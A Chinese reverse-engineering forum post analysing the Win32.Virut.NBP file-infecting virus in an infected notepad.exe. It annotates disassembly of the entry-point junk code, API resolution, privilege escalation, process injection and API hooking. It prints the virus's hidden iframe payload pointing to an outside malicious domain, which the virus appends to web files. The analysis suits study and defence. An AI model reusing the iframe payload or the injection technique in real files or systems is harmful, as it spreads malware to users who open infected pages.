吾爱破解论坛

[LCG]

[LSG]

立足软件安全和病毒分析最前端，丰富的技术版块交相辉映，由无数加密解密及反病毒爱好者共同维护，留给世界一抹值得百年回眸的惊艳，沉淀百年来计算机应用之精华与优雅，信息线条与生活质感淡定交融，任岁月流转，低调而奢华的技术交流与研究却是亘古不变。

标题：Win32.Virut.NBP 的简单分析

作者：ximo

1 虽然离该病毒流行的年代已经比较远了，貌似是在07年底还是08年初，入行比较晚，历史不大了解。最近发现该病毒还是比较多，故简略的分析下。

代码变形比较严重，能力有限，只能粗略的分析下，可能分析的不全，请见谅。

先看入口：01013302 > E8 05000000 call notepad.0101330C

```
2  01013307   F8                  clc
3  01013308   D8A6 97974760       fsub dword ptr ds:[esi+60479797]   //花指令
4  0101330E   8D5C24 0C           lea ebx,dword ptr ss:[esp+C]
5  01013312   E9 92000000         jmp notepad.010133A9
6  01013317   8DBB C9FD2198       lea edi,dword ptr ds:[ebx+9821FDC9]
7  0101331D   42                  inc edx
8  0101331E   8D09                lea ecx,dword ptr ds:[ecx]
9  01013320   8BD3                mov edx,ebx
10 01013322   8BF3                mov esi,ebx
11 01013324   8BC5                mov eax,ebp
```

入口处就有花指令：

把 01013308 D8A6 97974760 fsub dword ptr ds:[esi+60479797]代码修改为：

90 90 90 90 47 60 即可

修改后的代码如下：

```
12 01013302 >  E8 05000000       call notepad.0101330C
13 01013307    F8                clc
14 01013308    90                nop
15 01013309    90                nop
16 0101330A    90                nop
17 0101330B    90                nop
18 0101330C    47                inc edi
19 0101330D    60                pushad    //保存现场环境
20 0101330E    8D5C24 0C         lea ebx,dword ptr ss:[esp+C]   //hr ESP
21 01013312    E9 92000000       jmp notepad.010133A9
22 01013317    8DBB C9FD2198     lea edi,dword ptr ds:[ebx+9821FDC9]
23 0101331D    42                inc edx
```

若只是要恢复到原来的入口点，无视病毒运行过程的话，只要在 pushad 下面，ESP 定律就可来到原入口点了：

ESP 定律后，中断在如下位置：

```
24 01013428    90                nop   //中断在这
25 01013429    4F                dec edi
26 0101342A    C3                retn   //返回到原来入口点
27 0101342B    39E9              cmp ecx,ebp
28 0101342D    83C0 AE           add eax,-52
29 01013430    83EC 14           sub esp,14
30 01013433  ^ E9 69FDFFFF       jmp notepad.010131A1
```

原入口点：

```
0100739D     6A 70                push 70   //原入口点
0100739F     68 98180001          push notepad.01001898
010073A4     E8 BF010000          call notepad.01007568
010073A9     33DB                 xor ebx,ebx
010073AB     53                   push ebx
010073AC          8B3D  CC100001                mov  edi,dword  ptr  ds:[<&KERNEL32.GetModuleHa>;
kernel32.GetModuleHandleA
010073B2     FFD7                 call edi
010073B4     66:8138 4D5A         cmp word ptr ds:[eax],5A4D
010073B9     75 1F                jnz short notepad.010073DA
010073BB     8B48 3C              mov ecx,dword ptr ds:[eax+3C]
010073BE     03C8                 add ecx,eax
010073C0     8139 50450000        cmp dword ptr ds:[ecx],4550
010073C6     75 12                jnz short notepad.010073DA
```

下面来具体分析下病毒的执行流程：

1、原入口点的计算：

```
010133A9     83C8 0E              or eax,0E
010133AC     08C4                 or ah,al
010133AE     A9 2C8F1EBE          test eax,BE1E8F2C
010133B3     2BED                 sub ebp,ebp                    //esp 清0，为下面的计算做准备
010133B5     FF7424 20            push dword ptr ss:[esp+20]
010133B9     FF73 18              push dword ptr ds:[ebx+18]
010133BC     F6D0                 not al
010133BE     C60424 00            mov byte ptr ss:[esp],0
010133C2   ^ E9 02FFFFFF          jmp notepad.010132C9


010132C9     8BCC                 mov ecx,esp
010132CB     216B 14              and dword ptr ds:[ebx+14],ebp
010132CE     80C2 EA              add dl,0EA
010132D1     28D0                 sub al,dl
010132D3     10D4                 adc ah,dl
010132D5     87F6                 xchg esi,esi
010132D7     81ED 638CFFFE        sub ebp,FEFF8C63               //计算原入口点的值
                                                                //该值为 FFFFFFFF-FEFF8C63=0100739D
010132DD     016B 14              add dword ptr ds:[ebx+14],ebp  //把原入口点的值存放到[ebx+14]中
010132E0     5B                   pop ebp
010132E1     5D                   pop ebp
010132E2     E9 E0000000          jmp notepad.010133C7
```

2、创建名为"L30N"互斥事件，使只有 1 个实例运行：

```
01013348    F9                      stc
01013349    86CB                    xchg bl,cl
0101334B    86CB                    xchg bl,cl
0101334D    90                      nop
0101334E    52                      push edx
0101334F    90                      nop
01013350    FF95 BE4B0000           call dword ptr ss:[ebp+4BBE]        //kernel32.CreateMutexA
01013356    00C1                    add cl,al
01013358    83C4 20                 add esp,20
0101335B  ^ E9 0CFEFFFF             jmp notepad.0101316C
```

3、解密所需的 API 函数：

获取 dll 句柄：

```
010136D8    FF95 90223512           call dword ptr ss:[ebp+12352290]    //用 GetModuleHandleA 获取模块句柄
010136DE    33C9                    xor ecx,ecx
010136E0    8DB5 48233512           lea esi,dword ptr ss:[ebp+12352348]
010136E6    8DBD 8C233512           lea edi,dword ptr ss:[ebp+1235238C]
010136EC    B1 11                   mov cl,11
010136EE    93                      xchg eax,ebx
```

获取 API 地址：

```
01014463    96                      xchg eax,esi                        //ESI 中为解密出的 API 函数
01014464    5F                      pop edi
01014465    5E                      pop esi
01014466    59                      pop ecx
01014467    AB                      stos dword ptr es:[edi]             //把解出的 API 函数放[EDI]中
01014468    49                      dec ecx
01014469  ^ 0F85 72FFFFFF           jnz notepad.010143E1                //循环
0101446F    C3                      retn
```

其实也就 2 个 dll，一个 kernel32.dll，还有一个是 ntdll.dll，具体解码出的 API 函数如下：
kernel32.dll:

```
010145A1  7C80B6A1  kernel32.GetModuleHandleA
010145A5  7C834D41  kernel32.lstrcatA
010145A9  7C810F32  kernel32.lstrcatW
010145AD  7C80BAA1  kernel32.lstrcmpiA
010145B1  7C80BA64  kernel32.lstrcpyW
010145B5  7C80BDB6  kernel32.lstrlenA
```

010145B9 7C809A09 kernel32.lstrlenW
010145BD 7C809B47 kernel32.CloseHandle
010145C1 7C8286EE kernel32.CopyFileA
010145C5 7C801A24 kernel32.CreateFileA
010145C9 7C80945C kernel32.CreateFileMappingA
010145CD 7C802367 kernel32.CreateProcessA
010145D1 7C81042C kernel32.CreateRemoteThread
010145D5 7C810637 kernel32.CreateThread
010145D9 7C864B0F kernel32.CreateToolhelp32Snapshot
010145DD 7C80C058 kernel32.ExitThread
010145E1 7C80ABDE kernel32.FreeLibrary
010145E5 7C8214E3 kernel32.GetDriveTypeA
010145E9 7C81153C kernel32.GetFileAttributesA
010145ED 7C810A77 kernel32.GetFileSize
010145F1 7C831C45 kernel32.GetFileTime
010145F5 7C80B4CF kernel32.GetModuleFileNameA
010145F9 7C814EEA kernel32.GetSystemDirectoryA
010145FD 7C8608FF kernel32.GetTempFileNameA
01014601 7C835DCA kernel32.GetTempPathA
01014605 7C80929C kernel32.GetTickCount
01014609 7C8111DA kernel32.GetVersion
0101460D 7C812ADE kernel32.GetVersionExA
01014611 7C821BA5 kernel32.GetVolumeInformationA
01014615 7C821363 kernel32.GetWindowsDirectoryA
01014619 7C80FD2D kernel32.GlobalAlloc
0101461D 7C801D77 kernel32.LoadLibraryA
01014621 7C80B905 kernel32.MapViewOfFile
01014625 7C8309E1 kernel32.OpenProcess
01014629 7C863DE5 kernel32.Process32First
0101462D 7C863F58 kernel32.Process32Next
01014631 7C80180E kernel32.ReadFile
01014635 7C832044 kernel32.SetEndOfFile
01014639 7C812782 kernel32.SetFileAttributesA
0101463D 7C810B8E kernel32.SetFilePointer
01014641 7C831CB8 kernel32.SetFileTime
01014645 7C82FA7A kernel32.SetThreadAffinityMask
01014649 7C802442 kernel32.Sleep
0101464D 7C80B974 kernel32.UnmapViewOfFile
01014651 7C809A51 kernel32.VirtualAlloc
01014655 7C810D87 kernel32.WriteFile

ntdll.dll:

```
0101469D   7C92D460   ntdll.ZwAdjustPrivilegesToken
010146A1   7C92D682   ntdll.ZwCreateFile
010146A5   7C92D754   ntdll.ZwCreateProcess
010146A9   7C92D769   ntdll.ZwCreateProcessEx
010146AD   7C92D793   ntdll.ZwCreateSection

010146B5   7C92D8E3   ntdll.ZwDeviceIoControlFile
010146B9   7C92DC55   ntdll.ZwMapViewOfSection
010146BD   7C92DCFD   ntdll.ZwOpenFile
010146C1   7C92DD90   ntdll.ZwOpenProcessToken
010146C5   7C92DDBA   ntdll.ZwOpenSection
010146C9   7C92DEB6   ntdll.ZwProtectVirtualMemory
010146CD   7C92E01B   ntdll.ZwQueryInformationProcess
010146D1   7C92E045   ntdll.ZwQueryInformationToken
010146D5   7C92E1AA   ntdll.ZwQuerySystemInformation
010146D9   7C92EA32   ntdll.ZwWriteVirtualMemory
010146DD   7C9330C6   ntdll.RtlUnicodeStringToAnsiString
```

4、HOOK API 和进行感染：

```
010136F4    83BD CC233512 00      cmp dword ptr ss:[ebp+123523CC],0
010136FB  ^ 74 99                 je short notepad.01013696
010136FD    8B85 A4233512         mov eax,dword ptr ss:[ebp+123523A4]        //ZwDeviceIoControlFile 发送设置控制请求
01013703    FF70 01               push dword ptr ds:[eax+1]
01013706    8F85 0C5B3512         pop dword ptr ss:[ebp+12355B0C]
0101370C    81BD 0C5B3512 FFFF00>cmp dword ptr ss:[ebp+12355B0C],0FFFF
01013716    76 07                 jbe short notepad.0101371F
01013718    83A5 A4233512 00      and dword ptr ss:[ebp+123523A4],0
0101371F    8B85 90233512         mov eax,dword ptr ss:[ebp+12352390]        //以下为所要 HOOK 的 API，第一个 ZwCreateFile
01013725    FF70 01               push dword ptr ds:[eax+1]
01013728    8F85 79573512         pop dword ptr ss:[ebp+12355779]
0101372E    81BD 79573512 FFFF00>cmp dword ptr ss:[ebp+12355779],0FFFF
01013738  ^ 0F87 58FFFFFF         ja notepad.01013696
0101373E    8B85 AC233512         mov eax,dword ptr ss:[ebp+123523AC]        //第二个 ZwOpenFile
01013744    FF70 01               push dword ptr ds:[eax+1]
01013747    8F85 FE573512         pop dword ptr ss:[ebp+123557FE]
0101374D    81BD FE573512 FFFF00>cmp dword ptr ss:[ebp+123557FE],0FFFF
01013757  ^ 0F87 39FFFFFF         ja notepad.01013696
0101375D    8B85 94233512         mov eax,dword ptr ss:[ebp+12352394]        //第三个 ZwCreateProcess
```

```
01013763     FF70 01                 push dword ptr ds:[eax+1]
01013766     8F85 08583512           pop dword ptr ss:[ebp+12355808]
0101376C     81BD 08583512 FFFF00>cmp dword ptr ss:[ebp+12355808],0FFFF
01013776   ^ 0F87 1AFFFFFF          ja notepad.01013696
0101377C     8B8D 98233512           mov ecx,dword ptr ss:[ebp+12352398]          //第四个 ZwCreateProcessEx
01013782     E3 3A                   jecxz short notepad.010137BE
01013784     FF71 01                 push dword ptr ds:[ecx+1]
01013787     8F85 15583512           pop dword ptr ss:[ebp+12355815]
0101378D     81BD 15583512 FFFF00>cmp dword ptr ss:[ebp+12355815],0FFFF
01013797   ^ 0F87 F9FEFFFF          ja notepad.01013696
0101379D     8B8D A0233512           mov ecx,dword ptr ss:[ebp+123523A0]
010137A3     E3 19                   jecxz short notepad.010137BE
010137A5     FF71 01                 push dword ptr ds:[ecx+1]
010137A8     8F85 22583512           pop dword ptr ss:[ebp+12355822]
010137AE     81BD 22583512 FFFF00>cmp dword ptr ss:[ebp+12355822],0FFFF
010137B8   ^ 0F87 D8FEFFFF          ja notepad.01013696
010137BE     8B8D BC233512           mov ecx,dword ptr ss:[ebp+123523BC]          // 第五个
ZwQueryInformationProcess
010137C4     E3 1C                   jecxz short notepad.010137E2
010137C6     FF71 01                 push dword ptr ds:[ecx+1]
010137C9     8F85 56583512           pop dword ptr ss:[ebp+12355856]
010137CF     81BD 56583512 FFFF00>cmp dword ptr ss:[ebp+12355856],0FFFF
010137D9     76 07                   jbe short notepad.010137E2
010137DB     83A5 BC233512 00        and dword ptr ss:[ebp+123523BC],0
010137E2     8D85 A6213512           lea eax,dword ptr ss:[ebp+123521A6]
010137E8     8DBD 145B3512           lea edi,dword ptr ss:[ebp+12355B14]          //\BaseNamedObjects\blttVt 名
为"blttvt"的事件
010137EE     50                      push eax
010137EF     57                      push edi
010137F0     FF95 A0223512           call dword ptr ss:[ebp+123522A0]
010137F6     E8 8A0F0000             call notepad.01014785


010147BF     6A 00                   push 0
010147C1     52                      push edx
010147C2     6A 40                   push 40
010147C4     53                      push ebx
010147C5     6A 00                   push 0
010147C7     6A 18                   push 18
010147C9     8BD4                    mov edx,esp
010147CB     6A 00                   push 0
010147CD     68 C4920000             push 92C4
```

```
010147D2    8BCC                mov ecx,esp
010147D4    6A 00               push 0
010147D6    8BC4                mov eax,esp
010147D8    6A 00               push 0
010147DA    68 00000008         push 8000000
010147DF    6A 40               push 40
010147E1    51                  push ecx
010147E2    52                  push edx
010147E3    6A 0E               push 0E
010147E5    50                  push eax
010147E6    FF95 9C233512       call dword ptr ss:[ebp+1235239C]        ; ntdll.ZwCreateSection

0101382C    68 C4520000         push 52C4
01013831    8BD4                mov edx,esp
01013833    6A 00               push 0
01013835    8BCC                mov ecx,esp
01013837    6A 04               push 4
01013839    6A 00               push 0
0101383B    6A 02               push 2
0101383D    52                  push edx
0101383E    6A 00               push 0
01013840    68 C4520000         push 52C4
01013845    6A 00               push 0
01013847    51                  push ecx
01013848    6A FF               push -1
0101384A    50                  push eax
0101384B    FF95 A8233512       call dword ptr ss:[ebp+123523A8]        ; ntdll.ZwMapViewOfSection

01013979    292C24              sub dword ptr ss:[esp],ebp
0101397C    8DB8 00020000       lea edi,dword ptr ds:[eax+200]
01013982    8DB5 00123512       lea esi,dword ptr ss:[ebp+12351200]
01013988    8D87 87040000       lea eax,dword ptr ds:[edi+487]
0101398E    56                  push esi
0101398F    B9 6E120000         mov ecx,126E
01013994    F3:A5               rep movs dword ptr es:[edi],dword ptr ds:[es>
01013996    FFE0                jmp eax     //进入重要区域了
01013998    2D 87163512         sub eax,12351687
0101399D    5E                  pop esi
0101399E    8BE8                mov ebp,eax
010139A0    8DB8 00103512       lea edi,dword ptr ds:[eax+12351000]
```

```
247 010139A6    010424              add dword ptr ss:[esp],eax
248 010139A9    2BB5 CD1E3512       sub esi,dword ptr ss:[ebp+12351ECD]
249 010139AF    33D2                xor edx,edx
250 010139B1    FE8D 48173512       dec byte ptr ss:[ebp+12351748]
251 010139B7    56                  push esi
```

以下为提权过程：

```
252 00A0054F    50                  push eax
253 00A00550    54                  push esp
254 00A00551    6A 20               push 20
255 00A00553    6A FF               push -1
256 00A00555    FF95 B0233512       call dword ptr ss:[ebp+123523B0]      //ntdll.ZwOpenProcessToken
257 00A0055B    85C0                test eax,eax
258 00A0055D    5F                  pop edi
259 00A0055E    75 34               jnz short 00A00594
260 00A00560    E8 FA0B0000         call 00A0115F
261 00A00565    E8 11000000         call 00A0057B
```

```
262 00A01198    50                  push eax
263 00A01199    FF95 985B3512       call dword ptr ss:[ebp+12355B98]      //GetProcAddress
264 00A0119F    8985 205C3512       mov dword ptr ss:[ebp+12355C20],eax   // 取得advapi32.LookupPrivilegeValueA 的地址
265 00A011A5    C3                  retn
```

```
266 00A0057B    57                  push edi
267 00A0057C    E8 8F0E0000         call 00A01410                         //调用 LookupPrivilegeValueA
268 00A00581    FFB5 1C5C3512       push dword ptr ss:[ebp+12355C1C]
269 00A00587    FF95 D0223512       call dword ptr ss:[ebp+123522D0]      //FreeLibrary
270 00A0058D    57                  push edi
271 00A0058E    FF95 AC223512       call dword ptr ss:[ebp+123522AC]      //CloseHandle
272 00A00594    6A 00               push 0
273 00A00596    6A 02               push 2
274 00A00598    FF95 C8223512       call dword ptr ss:[ebp+123522C8]      //CreateToolhelp32Snapshot
275 00A0059E    B9 28010000         mov ecx,128
276 00A005A3    97                  xchg eax,edi
277 00A005A4    2BE1                sub esp,ecx
278 00A005A6    890C24              mov dword ptr ss:[esp],ecx
279 00A005A9    54                  push esp
280 00A005AA    57                  push edi
281 00A005AB    FF95 18233512       call dword ptr ss:[ebp+12352318]      //Process32First
```

```
00A005B1    33F6                xor esi,esi
00A005B3    83A5 6C5C3512 00    and dword ptr ss:[ebp+12355C6C],0
00A005BA    54                  push esp
00A005BB    57                  push edi
00A005BC    FF95 1C233512       call dword ptr ss:[ebp+1235231C]    //Process32Next
00A005C2    85C0                test eax,eax
00A005C4    74 6E               je short 00A00634                   //是否遍历完
00A005C6    46                  inc esi
00A005C7    83FE 04             cmp esi,4
00A005CA  ^ 72 EE               jb short 00A005BA
00A005CC    FF7424 08           push dword ptr ss:[esp+8]
00A005D0    6A 00               push 0
00A005D2    6A 2A               push 2A
00A005D4    FF95 14233512       call dword ptr ss:[ebp+12352314]    //OpenProcess
00A005DA    85C0                test eax,eax
00A005DC  ^ 74 DC               je short 00A005BA
00A005DE    93                  xchg eax,ebx
00A005DF    E8 4F0F0000         call 00A01533                       //F7进去
```

以上的过程是提权后遍历进程，然后打开该进程，为注入代码做准备。

下面就开始注入了：

```
00A01599    8B85 A4233512       mov eax,dword ptr ss:[ebp+123523A4]
00A0159F    85C0                test eax,eax
00A015A1    74 0B               je short 00A015AE
00A015A3    8D8F 8E4A0000       lea ecx,dword ptr ds:[edi+4A8E]     //ZwDeviceIoControlFile
00A015A9    E8 8FFEFFFF         call 00A0143D                       //注入
00A015AE    8B85 90233512       mov eax,dword ptr ss:[ebp+12352390]
00A015B4    8D8F 78470000       lea ecx,dword ptr ds:[edi+4778]      //所要 HOOK API 的函数
ZwCreateFile
00A015BA    E8 7EFEFFFF         call 00A0143D                       //注入
00A015BF    8B85 AC233512       mov eax,dword ptr ss:[ebp+123523AC]
00A015C5    8D8F FD470000       lea ecx,dword ptr ds:[edi+47FD]     //ZwOpenFile
00A015CB    E8 6DFEFFFF         call 00A0143D                       //注入
00A015D0    8B85 94233512       mov eax,dword ptr ss:[ebp+12352394]
00A015D6    8D8F 07480000       lea ecx,dword ptr ds:[edi+4807]     //ZwCreateProcess
00A015DC    E8 5CFEFFFF         call 00A0143D                       //注入
00A015E1    8B85 98233512       mov eax,dword ptr ss:[ebp+12352398]
00A015E7    85C0                test eax,eax
00A015E9    74 0B               je short 00A015F6
00A015EB    8D8F 14480000       lea ecx,dword ptr ds:[edi+4814]     //ZwCreateProcessEx
00A015F1    E8 47FEFFFF         call 00A0143D                       //注入
```

```
00A015F6    8B85 A0233512        mov eax,dword ptr ss:[ebp+123523A0]
00A015FC    85C0                 test eax,eax
00A015FE    74 0B                je short 00A0160B
00A01600    8D8F 21480000        lea ecx,dword ptr ds:[edi+4821]
00A01606    E8 32FEFFFF          call 00A0143D
00A0160B    8B85 BC233512        mov eax,dword ptr ss:[ebp+123523BC]
00A01611    85C0                 test eax,eax
00A01613    74 0B                je short 00A01620
00A01615    8D8F 55480000        lea ecx,dword ptr ds:[edi+4855]      //ZwQueryInformationProcess
00A0161B    E8 1DFEFFFF          call 00A0143D                        //注入
00A01620    8BC7                 mov eax,edi
00A01622    5F                   pop edi
00A01623    C3                   retn
```

注入函数为：

```
call 00A0143D
{
00A0143D    83E9 05              sub ecx,5
00A01440    2BC8                 sub ecx,eax
00A01442    51                   push ecx
00A01443    68 000000E8          push E8000000
00A01448    8D4C24 03            lea ecx,dword ptr ss:[esp+3]
00A0144C    6A 00                push 0
00A0144E    6A 05                push 5
00A01450    51                   push ecx
00A01451    50                   push eax
00A01452    53                   push ebx
00A01453    6A 05                push 5
00A01455    8BCC                 mov ecx,esp
00A01457    50                   push eax
00A01458    8BD4                 mov edx,esp
00A0145A    50                   push eax                             //ZwDeviceIoControlFile 等
00A0145B    54                   push esp
00A0145C    6A 40                push 40
00A0145E    51                   push ecx
00A0145F    52                   push edx
00A01460    53                   push ebx
00A01461    FF95 B8233512        call dword ptr ss:[ebp+123523B8]     //ZwProtectVirtualMemory
00A01467    83C4 0C              add esp,0C
00A0146A    FF95 C8233512        call dword ptr ss:[ebp+123523C8]     //ZwWriteVirtualMemory
00A01470    83C4 08              add esp,8
```

```
358 00A01473    C3                  retn
359
360
361 }


362 00A005E4    33C9                xor ecx,ecx
363 00A005E6    91                  xchg eax,ecx
364 00A005E7    E3 42               jecxz short 00A0062B
365 00A005E9    3985 6C5C3512       cmp dword ptr ss:[ebp+12355C6C],eax
366 00A005EF    75 3A               jnz short 00A0062B
367 00A005F1    8B5424 24           mov edx,dword ptr ss:[esp+24]
368 00A005F5    81CA 20202020       or edx,20202020
369 00A005FB    81FA 63737273       cmp edx,73727363
370 00A00601    74 28               je short 00A0062B
371 00A00603    81C1 F71F0000       add ecx,1FF7
372 00A00609    50                  push eax
373 00A0060A    54                  push esp
374 00A0060B    50                  push eax
375 00A0060C    56                  push esi
376 00A0060D    51                  push ecx
377 00A0060E    50                  push eax
378 00A0060F    50                  push eax
379 00A00610    53                  push ebx
380 00A00611    FF95 C0223512       call dword ptr ss:[ebp+123522C0]    //kernel32.CreateRemoteThread
再次远程注入
381 00A00617    85C0                test eax,eax
382 00A00619    59                  pop ecx
383 00A0061A    74 0F               je short 00A0062B
384 00A0061C    FF7424 08           push dword ptr ss:[esp+8]
385 00A00620    8F85 6C5C3512       pop dword ptr ss:[ebp+12355C6C]
386 00A00626    E8 67FDFFFF         call 00A00392                       //去写 hosts 文件
387 00A0062B    53                  push ebx
388 00A0062C    FF95 AC223512       call dword ptr ss:[ebp+123522AC]    //CloseHandle
389 00A00632  ^ EB 86               jmp short 00A005BA                  //循环
390 00A00634    81C4 28010000       add esp,128
391 00A0063A    57                  push edi
392 00A0063B    FF95 AC223512       call dword ptr ss:[ebp+123522AC]
393 00A00641  ^ E9 3FFDFFFF         jmp 00A00385
```

再来看看改写 hosts 文件部分：

```
394 00A00626    E8 67FDFFFF         call 00A00392
```

```
{
00A00392     6A 01                  push 1
00A00394     59                     pop ecx
00A00395     E3 0A                  jecxz short 00A003A1
00A00397     6A 0A                  push 0A
00A00399     FF95 38233512          call dword ptr ss:[ebp+12352338]    //利用 sleep 去响应
00A0039F   ^ EB F1                  jmp short 00A00392
00A003A1     C3                     retn

bp WriteFile 后的到：
7C810D87 > [           DISCUZ_CODE_67           ]nbsp; 6A 18                  push 18              //WriteFile
7C810D89   .  68 200E817C          push kernel32.7C810E20
7C810D8E   .  E8 3317FFFF          call kernel32.7C8024C6
7C810D93   .  8B5D 14              mov ebx,dword ptr ss:[ebp+14]
7C810D96   .  33C9                 xor ecx,ecx
7C810D98   .  3BD9                 cmp ebx,ecx
7C810D9A   .  74 02                je short kernel32.7C810D9E
7C810D9C   .  890B                 mov dword ptr ds:[ebx],ecx
7C810D9E   >  64:A1 18000000       mov eax,dword ptr fs:[18]
7C810DA4   .  8B40 30              mov eax,dword ptr ds:[eax+30]
7C810DA7   .  8B7D 08              mov edi,dword ptr ss:[ebp+8]
7C810DAA   .  83FF F4                  cmp edi,-0C                                  ;  Switch (cases
FFFFFFF4..FFFFFFF6)
7C810DAD   .  0F84 5BD10100        je kernel32.7C82DF0E
7C810DB3   .  83FF F5              cmp edi,-0B
7C810DB6   .  0F84 47D10100        je kernel32.7C82DF03
7C810DBC   .  83FF F6              cmp edi,-0A
7C810DBF   .  0F84 E5BC0200        je kernel32.7C83CAAA
7C810DC5   >  8BC7                     mov eax,edi                              ;  Default case of switch
7C810DAA
7C810DC7   .  25 03000010          and eax,10000003
7C810DCC   .  83F8 03              cmp eax,3
7C810DCF   .  0F84 6CC10000        je kernel32.7C81CF41
7C810DD5   .  8B75 18              mov esi,dword ptr ss:[ebp+18]
7C810DD8   .  51                   push ecx
7C810DD9   .  3BF1                 cmp esi,ecx
7C810DDB   .  0F85 72DA0100        jnz kernel32.7C82E853
7C810DE1   .  51                   push ecx
7C810DE2   .  FF75 10              push dword ptr ss:[ebp+10]
7C810DE5   .  FF75 0C              push dword ptr ss:[ebp+C]
7C810DE8   .  8D45 E0              lea eax,dword ptr ss:[ebp-20]
7C810DEB   .  50                   push eax
```

```
7C810DEC    .  51                    push ecx
7C810DED    .  51                    push ecx
7C810DEE    .  51                    push ecx
7C810DEF    .  57                    push edi
7C810DF0    .  FF15 AC11807C         call dword ptr ds:[<&ntdll.NtWriteFile>]       ;  ntdll.ZwWriteFile

看数据窗口：
7FF92EC9   31 32 37 2E 30 2E 30 2E 31 20 6A 4C 2E 63 68 75   127.0.0.1 jL.chu
7FF92ED9   72 61 2E 70 6C 0D 0A 23 3C 69 66 72 61 6D 65 20   ra.pl..#<iframe
7FF92EE9   73 72 63 3D 22 68 74 74 70 3A 2F 2F 6A 4C 2E 63   src="http://jL.c
7FF92EF9   26 23 31 30 34 3B 75 72 61 2E 70 6C 2F 72 63 2F   hura.pl/rc/
7FF92F09   22 20 73 74 79 6C 65 3D 22 26 23 31 30 30 3B 69   " style="di
7FF92F19   73 70 6C 61 79 3A 6E 6F 6E 65 22 3E 3C 2F 69 66   splay:none"></if
7FF92F29   72 61 6D 65 3E                                     rame>

得到写入内容为：
127.0.0.1 jL.chura.pl
#
其中后面的部分
<iframe src="http://jl.chura.pl/rc/" style="display:none"></iframe>
该部分为感染 html,asp,jsp 等文件最后附加的内容

}


00A00385     FF95 AC223512          call dword ptr ss:[ebp+123522AC]        //CloseHandle
00A0038B     BF 27340101            mov edi,1013427
00A00390   - FFE7                   jmp edi                                 //执行病毒体结束，打算跳回原入口了
00A00392     6A 00                  push 0
00A00394     59                     pop ecx

01013428     90                     nop   //中断在这
01013429     4F                     dec edi
0101342A     C3                     retn   //返回到原来入口点
0101342B     39E9                   cmp ecx,ebp
0101342D     83C0 AE                add eax,-52
01013430     83EC 14                sub esp,14
01013433   ^ E9 69FDFFFF            jmp notepad.010131A1
```

该病毒为注入到内存中去进行感染，感染文件为 exe,scr,html 等，而且感染后的代码也各不相同，清除该病毒难度比较大。

感染的过程能力有限没有具体分析